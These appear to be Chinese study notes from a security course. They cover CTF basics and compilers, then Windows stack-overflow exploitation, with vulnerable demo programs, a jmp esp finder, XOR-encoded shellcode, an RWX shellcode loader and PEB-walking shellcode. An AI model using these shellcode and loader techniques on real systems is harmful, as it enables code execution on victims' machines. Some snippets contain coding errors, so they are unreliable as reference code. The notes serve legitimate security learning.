书籍

第一章

CTF:Capture The Flag
竞赛模式:解题模式(RE逆向工程、Pwn漏洞挖掘与利用、Web渗透、Crypto密码学、Mobile移动安全、Misc杂项)、攻防模式、混合模式
著名赛事:DEFCON CTF、Pwn2Own、CGC、XCTF、强网杯、HITCON CTF、TCTF
网络安全会议:RSA、BlackHat、ISC
学术会议:CCS、NDSS、Oakland S&P(A)、USENIX(A)


第二章

编译器的结构可分为前端和后端,前端是机器无关的,其功能是把源程序分解成组成要素和相应的语法结构,通过这个结构创建源程序的中间表示,同时搜集和源程序相关的信息,存放到符号表中;后端是及其相关的,其功能是根据中间表示和符号表信息构造目标程序。
GCC的编译主要分为四个阶段:预处理(-E)、编译(-S)、汇编(-c)、链接。
ELF(Executable and Linkable Format)格式是COFF格式的变种。
ELF文件分为三种类型:可执行文件(.EXEC)、可重定位文件(.REL)和共享目标文件(.DYN); 通常目标文件都会包含代码(.text)、数据(.data)和BSS(.bss)三个节,BSS节用于保存未初始化的全局变量和局部静态变量。


第三章

最先诞生的是复杂指令集计算机(CISC),典型代表就是x86处理器。
对于x86处理器而言,有三个最主要的操作模式:保护模式、实地址模式和系统管理模式,此外还有一个保护模式的子模式,称为虚拟8086模式。
x86汇编语言主要的语法风格有两种:AT&T风格和Intel风格。


第四章


第五章


视频

漏洞分析与利用 漏洞是bug的一种。

//栈溢出-临近变量淹没
#include<stdio.h>
#include<string.h>
#define PASSWORD "1234567"

int verify_password(char* password)
{
        int authenticated;
        char buffer[8];
        authenticated = strcmp(password, PASSWORD);
        strcpy(buffer, password); //输入 12345678 ,覆盖authenticated的值,返回0
        return authenticated;
}

int main()
{
        int valid_flag = 0;
        char password[1024];
        while (1)
        {
                printf("input:");
                scanf("%s",password);
                valid_flag = verify_password(password);
                if (valid_flag)
                {
                        printf("error\n");
                }
                else
                {
                        printf("right\n");
                }
        }
        return 0;
}

栈溢出-返回地址覆盖

//栈溢出-手工代码植入
#include<stdio.h>
#include<stdlib.h>
#include<Windows.h>

#define PASSWORD "1234567"
int verify_password(char* password)
{
    int authenticated;
    char buffer[44];
    authenticated = strcmp(password, PASSWORD);
    strcpy(buffer, password);
    return authenticated;
}

int main()
{
    int valid_flag = 0;
    char password[1024];
    FILE* fp;
    LoadLibrary("user32.dll");
    if (!(fp = fopen("C:\\Users\\VirAy\\Desktop\\flag.txt", "rw+")))
    {
        exit(0);
    }
    fscanf(fp, "%s", password);
    valid_flag = verify_password(password);
    if (valid_flag)
    {
        printf("Password is correct!\n");
    }
    else
    {
        printf("Password is incorrect!\n");
    }
    fclose(fp);
}

函数代码在栈中保存顺序:
buffer
前栈帧EBP
返回地址 ESP

//寻找jmp esp
#include<stdio.h>
#include<stdlib.h>
#include<Windows.h>

#define DLL_NAME "user32.dll"

int main(int argc, char* argv[])
{
	HINSTANCE hInstance = LoadLibrary(DLL_NAME);
	if (!hInstance)
	{
		exit(0);
	}
	BYTE* ptr;
	ptr = (BYTE*)hInstance;
	BOOL flag = false;
	int count = 0;
	for (int i = 0; !flag; i++)
	{
		if (ptr[i] == 0Xff && ptr[i + 1] == 0Xe4)
		{
			int address = (int)ptr + i;
			printf("opcode address:0x%x\n",address);
			count++;
			if (count == 50)
			{
				system("pause");
			}
		}
	}
	return 0;
}

unsigned char SHELLCODE[189] = {
	0x83, 0xC0, 0x14, 0x33, 0xC9, 0x8A, 0x1C, 0x08,
	0x80, 0xF3, 0x44, 0x88, 0x1C, 0x08, 0x41, 0x80,
	0xFB, 0x90, 0x75, 0xF1, 0xB8, 0x2C, 0x2E, 0x4E,
	0x7C, 0x5A, 0x2C, 0x27, 0xCD, 0x95, 0x0B, 0x2C,
	0x76, 0x30, 0xD5, 0x48, 0xCF, 0xB0, 0xC9, 0x3A,
	0xB0, 0x77, 0x9F, 0xF3, 0x40, 0x6F, 0xA7, 0x22,
	0xFF, 0x77, 0x76, 0x17, 0x2C, 0x31, 0x37, 0x21,
	0x36, 0x10, 0x77, 0x96, 0x20, 0xCF, 0x1E, 0x74,
	0xCF, 0x0F, 0x48, 0xCF, 0x0D, 0x58, 0xCF, 0x4D,
	0xCF, 0x2D, 0x4C, 0xE9, 0x79, 0x2E, 0x4E, 0x7C,
	0x5A, 0x31, 0x41, 0xD1, 0xBB, 0x13, 0xBC, 0xD1,
	0x24, 0xCF, 0x01, 0x78, 0xCF, 0x08, 0x41, 0x3C,
	0x47, 0x89, 0xCF, 0x1D, 0x64, 0x47, 0x99, 0x77,
	0xBB, 0x03, 0xCF, 0x70, 0xFF, 0x47, 0xB1, 0xDD,
	0x48, 0xFA, 0x42, 0x7E, 0x80, 0x30, 0x4C, 0x85,
	0x8E, 0x43, 0x47, 0x94, 0x02, 0xAF, 0xB5, 0x7F,
	0x10, 0x60, 0x58, 0x31, 0xA0, 0xCF, 0x1D, 0x60,
	0x47, 0x99, 0x32, 0xCF, 0x78, 0x3F, 0xCF, 0x1D,
	0x58, 0x47, 0x99, 0x47, 0x68, 0xFF, 0xD1, 0x1B,
	0xEF, 0x13, 0x25, 0x79, 0x2E, 0x4E, 0x7F, 0x5A,
	0x31, 0xED, 0x77, 0x9F, 0x17, 0x2C, 0x33, 0x21,
	0x37, 0x30, 0x2C, 0x22, 0x25, 0x2D, 0x28, 0xCF,
	0x80, 0x17, 0x14, 0x14, 0x17, 0xBB, 0x13, 0xB8,
	0x17, 0xBB, 0x13, 0xBC, 0xD4
};

int main(int argc,char** argv)
{
	__asm
	{
		LEA EAX,SHELLCODE
		PUSH EAX
		RET
	}
}
//计算函数哈希
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
#include<Windows.h>

DWORD GetHash(char *fun_name)
{
	DWORD d = 0;
	while (*fun_name)
	{
		d = ((d << 25) | (d >> 7));
		d += *fun_name;
		fun_name++;
	}
	return d;
}

int main(int argc,char** argv)
{
	DWORD hash;
	hash = GetHash((char*)"MessageBoxA");
	printf("%.8x\h",hash);
	return 0;
}
//加载shellcode
#include<stdio.h>
#include<Windows.h>

int main()
{
	FILE* fp = fopen("file.bin", "rb");
	if (fp)
	{
		fseek(fp, 0, SEEK_END);
		DWORD dwSize = ftell(fp);
		fseek(fp, 0, SEEK_SET);
		LPVOID pAddr = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		fread(pAddr, dwSize, 1, fp);
		fclose(fp);
		__asm {
			mov eax, pAddr;
			call eax;
		}

	}
}
//异或加密shellcode
#include<stdio.h>
#include<stdlib.h>
#include<Windows.h>
#include<string.h>

char SHELLCODE[189] = {
    0x83, 0xC0, 0x14, 0x33, 0xC9, 0x8A, 0x1C, 0x08,
    0x80, 0xF3, 0x44, 0x88, 0x1C, 0x08, 0x41, 0x80,
    0xFB, 0x90, 0x75, 0xF1, 0xB8, 0x2C, 0x2E, 0x4E,
    0x7C, 0x5A, 0x2C, 0x27, 0xCD, 0x95, 0x0B, 0x2C,
    0x76, 0x30, 0xD5, 0x48, 0xCF, 0xB0, 0xC9, 0x3A,
    0xB0, 0x77, 0x9F, 0xF3, 0x40, 0x6F, 0xA7, 0x22,
    0xFF, 0x77, 0x76, 0x17, 0x2C, 0x31, 0x37, 0x21,
    0x36, 0x10, 0x77, 0x96, 0x20, 0xCF, 0x1E, 0x74,
    0xCF, 0x0F, 0x48, 0xCF, 0x0D, 0x58, 0xCF, 0x4D,
    0xCF, 0x2D, 0x4C, 0xE9, 0x79, 0x2E, 0x4E, 0x7C,
    0x5A, 0x31, 0x41, 0xD1, 0xBB, 0x13, 0xBC, 0xD1,
    0x24, 0xCF, 0x01, 0x78, 0xCF, 0x08, 0x41, 0x3C,
    0x47, 0x89, 0xCF, 0x1D, 0x64, 0x47, 0x99, 0x77,
    0xBB, 0x03, 0xCF, 0x70, 0xFF, 0x47, 0xB1, 0xDD,
    0x48, 0xFA, 0x42, 0x7E, 0x80, 0x30, 0x4C, 0x85,
    0x8E, 0x43, 0x47, 0x94, 0x02, 0xAF, 0xB5, 0x7F,
    0x10, 0x60, 0x58, 0x31, 0xA0, 0xCF, 0x1D, 0x60,
    0x47, 0x99, 0x32, 0xCF, 0x78, 0x3F, 0xCF, 0x1D,
    0x58, 0x47, 0x99, 0x47, 0x68, 0xFF, 0xD1, 0x1B,
    0xEF, 0x13, 0x25, 0x79, 0x2E, 0x4E, 0x7F, 0x5A,
    0x31, 0xED, 0x77, 0x9F, 0x17, 0x2C, 0x33, 0x21,
    0x37, 0x30, 0x2C, 0x22, 0x25, 0x2D, 0x28, 0xCF,
    0x80, 0x17, 0x14, 0x14, 0x17, 0xBB, 0x13, 0xB8,
    0x17, 0xBB, 0x13, 0xBC, 0xD4
};

// 加密函数,将输入数据进行异或加密后保存到文件
void encoder(char *input, unsigned char key)
{
    int i = 0, len = 0;
    FILE *fp;
    unsigned char *output;

    len = strlen(input);
    output = (unsigned char *)malloc(len + 1);
    if (!output)
    {
        printf("Error:Memory Allocation Failed\n");
        exit(1);
    }

    // 进行异或加密操作
    for (i = 0; i < len; i++)
    {
        output[i] = input[i] ^ key;
    }

    if (!(fp = fopen("encode.txt", "wb")))  // 以二进制写模式打开文件更合适,避免文本模式的一些潜在转换问题
    {
        printf("Error:File Not Found\n");
        free(output);  // 如果文件打开失败,释放已分配的内存
        exit(1);
    }

    // 将加密后的数据写入文件
    fwrite(output, sizeof(unsigned char), len, fp);
    fclose(fp);
    free(output);
}

int main()
{
    encoder(SHELLCODE, 0xFF);
    return 0;
}
//shellcode解码
__asm int 3
__asm{
    nop
    nop
    nop
    xor ecx,ecx
decode_loop:
    mov bl,[eax+ecx]
    xor bl,key
    mov[eax+ecx],bl
    inc ecx
    cmp bl,0x90
    jne decode_loop
    nop
    nop
    nop
}
//通用shellcode
#include<stdio.h>
#include<stdlib.h>
#include<Windows.h>
#include<string.h>
#pragma code_seg("shell")
#pragma comment(link,"/entry:myshellcode")
void myshellcode()
{
    typedef FARPROC (WINAPI *fnGetProcAddress)(HMODULE hModule,LPCSTR lpProcName);
    typedef HMODULE (WINAPI *fnLoadLibraryExA)(LPCSTR lpLibFileName,HANDLE hFile,DWORD dwFlags); 
    DWORD dwKernel32Addr=0;
    __asm{
        //*****获取kernel32.dll模块基址开始*****
        push eax
        mov eax,dword ptr fs:[30]
        mov eax,[eax+0x0C]
        mov eax,[eax+0x1C]
        mov eax,[eax]
        mov eax,[eax+0x08]
        mov dwKernel32Addr,eax
        pop eax
         //*****获取kernel32.dll模块基址结束*****
    }
    //*****获取GetProcAddress函数地址开始*****
    DWORD dwAddrBase=dwKernel32Addr;
    PIMAGE_DOS_HEADER pDosHeader;
    PIMAGE_NT_HEADERS pNtHeader;
    pDosHeader=(PIMAGE_DOS_HEADER)dwAddrBase;
    pNtHeader=(PIMAGE_NT_HEADERS)(dwAddrBase+pDosHeader->e_lfanew);
    PIMAGE_DATA_DIRECTORY pDataDir;
    PIMAGE_EXPORT_DIRECTORY pExportDir;
    pDataDir=pNtHeader->OptionalHeader.DataDirectory+IMAGE_DIRECTORY_ENTRY_EXPORT;
    pExportDir=(PIMAGE_EXPORT_DIRECTORY)(dwAddrBase+pDataDir->VirtualAddress);

    PDWORD pAddrOfFun=(PWORD)(pExportDir->AddressOfFunctions+dwAddrBase);
    PDWORD pAddrOfName=(PDWORD)(pExportDir->AddressOfNames+dwAddrBase);
    PWORD pAddrOfOrd=(PWORD)(pExportDir->AddressOfNameOrdinals+dwAddrBase);
    DWORD dwFunAddr;
    for(DWORD i=0;i<pExportDir->NumberOfNames;i++)
    {
        char *pName=(char*)(pAddrOfName[i]+dwAddrBase);
        if(strcmp(pName,"GetProcAddress")==0)
        {
            dwFunAddr=pAddrOfFun[pAddrOfOrd[i]]+dwAddrBase;
            break;
        }
    }
    //*****获取GetProcAddress函数地址结束*****
    char szLoadLibraryExA[]={'L','o','a','d','L','i','b','r','a','r','y','E','x','A','\0'};
    //char szUser32[]={'u','s','e','r','3','2','\0'};
    //char szMessageBoxA[]={'M','e','s','s','a','g','e','B','o','x','A','\0'};
    //char szExitProcess[]={'E','x','i','t','P','r','o','c','e','s','s','\0'};
    fnGetProcAddress pfnGetProcAddress=(fnGetProcAddress)dwFunAddr;
    LoadLibraryExA pfnLoadLibraryExA=(fnLoadLibraryExA)pfnGetProcAddress((HMODULE)dwKernel32Addr,szLoadLibraryExA);
}
堆内存 栈内存
典型用例 动态增长的链表等数据结构 函数局部数组
申请方式 使用函数申请,通过指针使用 直接声明
释放方式 使用函数释放 系统回收
管理方式 使用者申请与释放 系统完成申请与释放
所处位置 变化范围很大 0X0012XXXX
增长方向 由低到高 由高到低

windows堆分配
通过堆,内存管理器将一块较大的内存空间委托给堆管理器来管理;

  • 用户态
    小内存:堆管理器分配堆,调用堆分配API从堆管理器分配堆,堆分配API包括LocalAlloc
    GlobalAlloc、HeapAlloc、malloc等;
    大内存:内存管理器分配堆,调用虚拟内存分配API来从内存管理器分配内存,虚拟内存API包括VirtualAlloc、VirtualAllocEx、VirtualFree、VirtualFreeEx、VirtualLock、VirtualUnload、VirtualPotect、VirtualQuery等;
  • 内核态
    小内存:池管理器(Pool Manager)。池管理器公开了一组驱动程序接口以向外提供服务,包括ExAllocatePool、ExAllocatePoolwithTag、ExAllocatePoolWithTagPriority、ExAllocatePoolwithQuota、ExFessPool、ExFreePoolwithTag等;
    大内存:内存管理器分配虚拟内存,内核对应的API包括NtAllocatevirtualMemory、NtProtectvirtualMemory等; 程序中对堆的直接操作主要有三种:
    1、进程默认堆:每个进程启动的时候系统会创建一个默认堆,LocalAlloc、GlobalAlloc是从进程默认堆上分配内存;也可以使用GetProcessHeap获取进程默认堆的句柄;然后根据用这个句柄去调用HeapAlloc达到在系统默认堆上分配内存的效果;
    2、C++编程中常用的是malloc和new去申请内存,这些由CRT库提供方法。在VS2010之前(包含),CRT库会使用HeapCreate去创建一个堆,供CRT库自己使用。在VS2015以后CRT库的实现,并不会再去创建一个单独的堆,而使用进程默认堆。
    3、自建堆。这个泛指程序通过HeapCreate去创建的堆,然后利用HeapAlloc等API去操作堆,比如申请空间;

为了支持C的内存分配函数和C++的内存分配运算符(new和delete,即CRT内存分配函数),编译器的C运行库会创建一个专门的堆供这些函数使用,即CRT堆。

进程默认堆
创建进程时操作系统为进程创建的默认堆:ntdll! KiUserApcDispather-> ntdll! LdrpInitialize-> ntdll! LdrplInitializeProcess-> ntdll! RtlCreateHeap 创建好的堆的句柄保存在PEB结构的ProcessHeap字段中;
私有堆
可以通过HeapCreate这个api来创建属于进程的私有堆,这个api实际上会调用RtlCreateHeap函数,创建完毕之后会将创建好的堆句柄保存到peb结构中。
HeapCreate-> ntdll!RtlCreateHeap-> NtAllocateVirtualMemory Windows 堆管理机制 [1] 堆基础 https://www.bilibili.com/video/BV13cBXYqE2m?t=103.7&p=32